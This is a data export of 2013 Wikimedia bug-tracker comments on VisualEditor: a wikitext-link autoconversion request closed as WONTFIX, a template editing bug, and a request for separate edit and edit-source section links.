peace.",,,1374671097,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,6.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,4.0,6.0,2.0,0.0,8.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.7916666666666665,0.7083333333333334,"based on:

bug 51554
bug 51944
bug 51462
bug 50527

and a dozen or so more (as seen here:
URL


i changed this one to ""reopen"" and marked it ""high"".

peace."
244076,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,*** Bug 51897 has been marked as a duplicate of this bug. ***,,,1374639183,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51897 has been marked as a duplicate of this bug. ***
244073,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"**nrp** wrote:

WTG guys, piss off the user base even more with a WONTFIX on a no-brainer...",,,1374599335,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,7.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,2.8518518518518516,0.8518518518518519,"**nrp** wrote:

WTG guys, piss off the user base even more with a WONTFIX on a no-brainer..."
244065,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,Marking as WONTFIX per my earlier comments and Erik's.,,,1373002882,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,4.181818181818182,1.0,Marking as WONTFIX per my earlier comments and Erik's.
244060,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"Indeed, I think we should close this as WONTFIX. We should improve any efficiency or discoverability issues in VisualEditor, and help give users experienced with wikitext clues to not accidentally insert it in VisualEditor. See bug 50601 for one potential approach to the latter problem.

Wiki markup was an awesome in invention in 1995, helping users not have to type HTML in order to format documents. But that doesn't mean the most efficient conceivable user experience in 2013 ought to be bound to the same design principles. (Nor should we blindly copy existing point and click interfaces -- for navigating the complexity of templates and such, we may have to come with some truly novel interfaces.)",,,1372986063,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,3,False,,,0,,1.5,0.0,0.0,1.0,2.0,5.0,0.5,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,3.0,1.0,5.0,12.0,0.0,3.5,2.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,1.5,2.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.5,0.0,0.0,0.0,3.5,1.5,6.5,0.0,4.0,6.0,0.0,0.0,0.0,0.0,9.5,0.0,2.5,0.0,3.5,12.0,2.0,0.0,0.0,0.0,3.5,0.0,0.0,0.5,0.0,2.0,0.0,1.0,0.0,4.538461538461538,0.8153846153846154,"Indeed, I think we should close this as WONTFIX. We should improve any efficiency or discoverability issues in VisualEditor, and help give users experienced with wikitext clues to not accidentally insert it in VisualEditor. See bug 50601 for one potential approach to the latter problem.

Wiki markup was an awesome in invention in 1995, helping users not have to type HTML in order to format documents. But that doesn't mean the most efficient conceivable user experience in 2013 ought to be bound to the same design principles. (Nor should we blindly copy existing point and click interfaces -- for navigating the complexity of templates and such, we may have to come with some truly novel interfaces.)"
244056,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #7)
> (In reply to comment #6)
> > > (2) it requires the use of a mouse to add a link. :-(
> > 
> > Not true, as discussed; I don't use the mouse to add links with VE (Ctrl+K
> > plus keyboard-based selection, as in other editors).
> 
> Ah, right. I vaguely remember that cmd-K controls the hyperlink functionality
> in Microsoft Office products. I have no idea how anyone would glean this from
> VisualEditor.

Hover over the button; the tooltip tells you the keyboard shortcut. :-)",,,1372016154,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,27.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,7.0,20.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.317073170731707,0.5609756097560976,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Hover over the button; the tooltip tells you the keyboard shortcut. :-)"
244052,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #6)
>> (2) it requires the use of a mouse to add a link. :-(
> 
> Not true, as discussed; I don't use the mouse to add links with VE (Ctrl+K
> plus keyboard-based selection, as in other editors).

Ah, right. I vaguely remember that cmd-K controls the hyperlink functionality in Microsoft Office products. I have no idea how anyone would glean this from VisualEditor.",,,1372016115,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,2,False,,,-2,,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,24.0,4.0,0.0,6.0,0.0,0.0,0.0,2.0,4.0,4.0,2.0,0.0,4.0,10.0,14.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.877551020408163,0.8163265306122449,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE

Ah, right. I vaguely remember that cmd-K controls the hyperlink functionality in Microsoft Office products. I have no idea how anyone would glean this from VisualEditor."
244048,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #5)
> (In reply to comment #4)
> > I'm ambivalent about whether we would ever let this go live, given how
> > complicated it would make editing for people that don't know wikitext -
> > consequently, marking as lowest priority for now.
> 
> You and I discussed this idea at some point (thanks for filing this as a bug,
> Oliver). The current issues I'm seeing with VisualEditor are that:
> 
> (1) it's much more time-consuming to add a link (i.e., typing ""[[]]"" is quick
> while finding and using the link dialog box is slow, especially multiple
> times); and
> 
> (2) it requires the use of a mouse to add a link. :-(

Not true, as discussed; I don't use the mouse to add links with VE (Ctrl+K plus keyboard-based selection, as in other editors).

> Perhaps we need a ""I'm old school"" checkbox somewhere in VisualEditor. ;-)

If users are sufficiently new-school that they can't remember Ctrl+K I don't think there's much hope for them. :-)",,,1372015941,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,2,True,,,-2,,1.0,0.0,0.0,0.0,4.0,4.0,1.0,0.0,0.0,1.0,4.0,3.0,0.0,0.0,1.0,2.0,0.0,5.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,14.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,23.0,1.0,1.0,1.0,0.0,1.0,0.0,1.0,5.0,0.0,1.0,0.0,4.0,11.0,13.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,3.3085106382978724,0.5851063829787234,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Not true, as discussed; I don't use the mouse to add links with VE (Ctrl+K plus keyboard-based selection, as in other editors).

QUOTE

If users are sufficiently new-school that they can't remember Ctrl+K I don't think there's much hope for them. :-)"
244046,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #4)
> I'm ambivalent about whether we would ever let this go live, given how
> complicated it would make editing for people that don't know wikitext -
> consequently, marking as lowest priority for now.

You and I discussed this idea at some point (thanks for filing this as a bug, Oliver). The current issues I'm seeing with VisualEditor are that:

(1) it's much more time-consuming to add a link (i.e., typing ""[[]]"" is quick while finding and using the link dialog box is slow, especially multiple times); and

(2) it requires the use of a mouse to add a link. :-(

Adjusting VisualEditor to interpret [[]] as a link would be a nice enhancement, though I see the danger in heading down this road.

Perhaps we need a ""I'm old school"" checkbox somewhere in VisualEditor. ;-)",,,1372015712,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,2,False,,,-2,,1.0,0.0,0.0,0.0,0.0,4.0,2.5,0.0,0.5,0.0,3.5,1.0,0.0,0.0,0.0,3.0,0.0,2.5,9.0,0.0,2.5,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,5.0,1.5,1.0,2.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,12.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,2.5,9.0,1.0,1.5,9.5,0.0,0.5,0.0,0.5,3.0,0.0,0.5,0.0,4.5,9.0,3.5,0.0,2.5,0.0,4.5,0.0,0.0,4.0,0.0,4.5,0.5,0.0,5.5,3.337662337662338,0.7402597402597403,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE

You and I discussed this idea at some point (thanks for filing this as a bug, Oliver). The current issues I'm seeing with VisualEditor are that:

(1) it's much more time-consuming to add a link (i.e., typing ""[[]]"" is quick while finding and using the link dialog box is slow, especially multiple times); and

(2) it requires the use of a mouse to add a link. :-(

Adjusting VisualEditor to interpret [[]] as a link would be a nice enhancement, though I see the danger in heading down this road.

Perhaps we need a ""I'm old school"" checkbox somewhere in VisualEditor. ;-)"
244044,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"I'm ambivalent about whether we would ever let this go live, given how complicated it would make editing for people that don't know wikitext - consequently, marking as lowest priority for now.",,,1372015077,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,16.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,8.0,14.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,0.0,3.0,0.0,3.0,0.0,4.351351351351352,0.918918918918919,"I'm ambivalent about whether we would ever let this go live, given how complicated it would make editing for people that don't know wikitext - consequently, marking as lowest priority for now."
244043,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"Another possibility I mentioned in bug 49820 is to display a warning of some sorts to remind people that wikicode isn't supported (similar to how LiquidThreads reminds users who insert ~~~~ that their signature will be automatically inserted). Automagical conversion might be better, but a warning could be a good first step.",,,1371929384,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,2,False,,,-2,,2.0,0.0,0.0,3.0,2.0,10.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,12.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,7.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,5.0,9.0,7.0,5.0,2.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,3.0,12.0,2.0,0.0,0.0,0.0,3.0,0.0,3.0,5.0,0.0,0.0,2.0,0.0,0.0,4.724137931034483,0.8275862068965517,"Another possibility I mentioned in bug 49820 is to display a warning of some sorts to remind people that wikicode isn't supported (similar to how LiquidThreads reminds users who insert ~~~~ that their signature will be automatically inserted). Automagical conversion might be better, but a warning could be a good first step."
244042,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"Sorry, just clarifying, this wasn't intended to happen ""on save"". This should probably happen as soon as (e.g.) the ]] is typed after a link, à la AutoCorrect.",,,1371721105,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,3.0,15.0,10.0,0.0,3.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,8.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,10.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,8.0,3.3846153846153846,0.8205128205128205,"Sorry, just clarifying, this wasn't intended to happen ""on save"". This should probably happen as soon as (e.g.) the ]] is typed after a link, à la AutoCorrect."
244037,VisualEditor: automagically convert wikitext (e.g. [[link]]) to VE-compatible elements,"(In reply to comment #0)
> a user has suggested

This was me. Here's my comment from [[Wikipedia:VisualEditor/Feedback]]:

> If you look through many of the comments on this page (in some cases you 
> need to read between the lines), you will see that people are trying to 
> create a wikilink in VisualEditor using [[ ]] wikitext syntax. I am 
> suggesting that, to accommodate these users, a sort of autocorrect be 
> implemented, so that when [[ ]] links are entered, they are automagically 
> converted into proper VE-style links

As well as a helpful ""transition"" feature from wikitext to VE, it might also be useful in the long run as a shortcut for power users, since keystrokes are generally faster than mouse interaction.

Probably a lower priority enhancement though :)",,,1371523456,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-gmfhmaeyushutcy45y6x,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,12.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,18.0,1.0,0.0,6.0,0.0,1.0,0.0,1.0,2.0,0.0,1.0,0.0,3.0,12.0,9.0,0.0,2.0,0.0,3.0,0.0,0.0,3.0,1.0,0.0,2.0,0.0,2.0,3.7444444444444445,0.7111111111111111,"(In reply to comment #0)
QUOTE

This was me. Here's my comment from [[Wikipedia:VisualEditor/Feedback]]:

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

As well as a helpful ""transition"" feature from wikitext to VE, it might also be useful in the long run as a shortcut for power users, since keystrokes are generally faster than mouse interaction.

Probably a lower priority enhancement though :)"
51678,VisualEditor: Some template combinations make text not editable,"On Swedish Wikipedia, we have quite a few bot generated articles (some hundreds of thousands) like this one: https://sv.wikipedia.org/wiki/Macrothemis_ultima

When in editing mode, somehow the first line of text cannot be edited. 

If an article has a second line, it is possible to edit that one (but still not the first line), e.g. https://sv.wikipedia.org/wiki/Lepidosaphes_lithocarpi

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1371462960,1371825507.0,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,False,PHID-TASK-zgrdvieu55b7ilh6yt3l,task_description,resolved,True,c1,2,False,False,True,-2,,2.0,0.0,0.0,1.0,2.0,8.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,11.0,4.0,1.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,2.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,3.6705882352941175,0.6941176470588235,"On Swedish Wikipedia, we have quite a few bot generated articles (some hundreds of thousands) like this one: URL

When in editing mode, somehow the first line of text cannot be edited. 

If an article has a second line, it is possible to edit that one (but still not the first line), e.g. URL

--------------------------
**Version**: unspecified
**Severity**: normal"
243541,VisualEditor: Some template combinations make text not editable,Sorry for the disruption; glad we fixed it for you.,,,1371825507,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zgrdvieu55b7ilh6yt3l,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,25.0,17.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.9166666666666666,Sorry for the disruption; glad we fixed it for you.
243535,VisualEditor: Some template combinations make text not editable,"No, I cannot reproduce it anymore. The update must have taken care of it!",,,1371538774,,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,,PHID-TASK-zgrdvieu55b7ilh6yt3l,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,11.0,6.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.9444444444444444,"No, I cannot reproduce it anymore. The update must have taken care of it!"
243530,VisualEditor: Some template combinations make text not editable,"I cannot reproduce this, but we did just update production to the latest code - do you still get this effect?

If so, what browser/OS are you using? Is it possible to do a quick screencast video of how it doesn't work, and attach it to this bug? Thanks!",,,1371520067,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zgrdvieu55b7ilh6yt3l,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,10.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,3.0,3.0,8.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,0.0,11.0,8.0,0.0,5.0,0.0,0.0,11.0,0.0,3.0,2.0,0.0,2.0,0.0,2.0,0.0,3.377049180327869,0.8032786885245902,"I cannot reproduce this, but we did just update production to the latest code - do you still get this effect?

If so, what browser/OS are you using? Is it possible to do a quick screencast video of how it doesn't work, and attach it to this bug? Thanks!"
51666,VisualEditor: Display a link to both VE and wikitext editor on every section header,"[From bug 48429 comment 18]

| It would be ideal to have section-edit links for [edit] and [edit source].
| ie.
|   Sandbox [edit]
| replaced with:
|   Sandbox [edit] [edit source]
| 
| I believe this would prevent a LOT of complaints in the short term, and it
| would permit a lot of us to continue being active beta testers
| (section-editing is my most frequent type of edit), that it should be High
| priority, if at all possible. Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=48429
https://bugzilla.wikimedia.org/show_bug.cgi?id=49621
https://bugzilla.wikimedia.org/show_bug.cgi?id=47779
https://bugzilla.wikimedia.org/show_bug.cgi?id=56337",High,80.0,1371430320,1372362973.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-tqom52xzffar63gwv2th,task_description,resolved,True,c1,2,True,False,True,-2,,0.5,0.0,0.0,0.0,0.0,5.0,2.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,2.0,0.0,5.0,7.0,0.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,1.0,1.0,1.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,0.0,0.5,14.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,2.5,9.5,1.5,1.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.5,7.0,4.5,0.0,0.0,0.0,3.5,0.0,0.0,1.0,0.5,0.0,0.0,0.5,4.5,3.0336330336330337,0.6002331002331003,"[From bug 48429 comment 18]

| It would be ideal to have section-edit links for [edit] and [edit source].
| ie.
|   Sandbox [edit]
| replaced with:
|   Sandbox [edit] [edit source]
| 
| I believe this would prevent a LOT of complaints in the short term, and it
| would permit a lot of us to continue being active beta testers
| (section-editing is my most frequent type of edit), that it should be High
| priority, if at all possible. Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL
URL
URL"
242982,VisualEditor: Display a link to both VE and wikitext editor on every section header,"Saying it is fixed does not make it fixed. The link is hidden, and so I don't consider it ""displayed"" as per the current title of this bugzilla thread: ""VisualEditor: Display a link to both VE and wikitext editor on every section header"".

And you did not address my points. I don't want to start another Bugzilla thread, and have to repeat everything there that was written here. Several people in this thread pointed out their dislike of multi-stage processes to be able to click an ""edit source"" link. 

I am concerned about anonymous editors. I know at some point it is likely an option will be provided in preferences to provide registered editors with a direct ""edit source"" link and/or clickable icon (maybe with explanatory tooltip).

But unless a direct ""edit source"" and/or clickable icon link is provided to anonymous editors, then some anonymous editors will edit less. Just like I edited less today, and almost quit editing altogether for the day, due to my annoyance with this multi-stage method, and the many times I messed up.

The point of the visual editor is to get people to edit more, not less. It should not get in the way of editing. It should aid editing. 

Wikia refused to provide registered editors an option to put the source editor tab on top of the visual editor tab. So people had to do a multi-stage process for every single edit in order to get to the source editor. Click edit, then wait tediously for visual editor to load, then click the source tab. For every edit... So many, if not most, regular editors disabled the visual editor in preferences. Feedback and bug reports lessened, especially the best feedback from the best editors. 

Similar to here now. I have to use a multi-stage process to get to the source editor. Aim at ""edit"" link or the line it is on, mouse over that ""edit"" link or line, aim better if necessary, wait for ""edit source"" link to show up, move mouse over to that link, click. Many times I accidentally, or by habit, click the edit link, and then have to click the back button, and start over. So I have to disable the Visual Editor. 

Here is a possible icon method. ""Edit source"" tooltip can show up after mousing over the icon. And the small icon can have a transparent left and right border that makes the area wider for mousing over. So people will have no problem understanding that the icon is an ""edit source"" link. The visible part of the icon will be small, similar in size to the watchlist star at the top of pages. But the clickable part would extend to the left and right a bit to allow easier 